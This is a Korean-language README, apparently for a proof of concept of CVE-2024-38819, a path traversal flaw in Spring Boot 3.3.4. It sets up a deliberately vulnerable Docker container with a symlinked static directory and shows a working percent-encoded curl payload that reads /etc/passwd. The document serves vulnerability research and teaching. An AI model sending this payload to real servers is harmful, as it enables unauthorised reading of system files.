
Spring Boot 3.3.4에서 심볼릭 링크 및 퍼센트 인코딩된 디렉터리 경로 탐색(path traversal)을 통한 경로 탐색 취약점을 시연하는 개념 증명(PoC)으로, 보안 연구 및 교육용입니다.
이는 제가 신고한 CVE-2024-38819 취약점의 개념 증명으로, 경로 탐색 공격을 시연합니다.
Docker 이미지 빌드 (Spring Boot 3.3.4, Spring Framework 6.1.13 기반)
cd vuln
docker build -t cve-2024-38819-poc .
컨테이너 실행 후 호스트 머신에 포트 8080 노출
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
다음 명령어를 실행하여 PoC를 수행하고 취약점 확인
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
공격이 성공하면 /etc/passwd 파일의 내용이 표시됩니다.
PathTraversalDemoApplication.java 파일에 다음 코드를 작성하여 RouterFunction과 를 사용해 정적 파일 라우팅을 설정합니다:
FileSystemResourcepublic RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
Dockerfile에 다음 명령어를 추가하여 심볼릭 링크를 생성합니다:
RUN ln -s /static /app/static/link
퍼센트 인코딩을 활용하여 심볼릭 링크를 통해 디렉토리를 탐색하는 페이로드를 생성합니다.
/static/link/%2e%2e/etc/passwd다음 curl 명령어를 사용하여 PoC를 실행하고 공격 성공 여부를 확인합니다:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
공격이 성공하면 /etc/passwd 파일의 내용이 표시됩니다.
이 PoC는 교육 및 보안 연구 목적으로 제공됩니다. 실제 시스템에서 사용하기 전에 취약점이 패치되었고 적절한 권한이 있는지 확인하십시오. 저자는 이 코드의 오용에 대해 어떠한 책임도 지지 않습니다.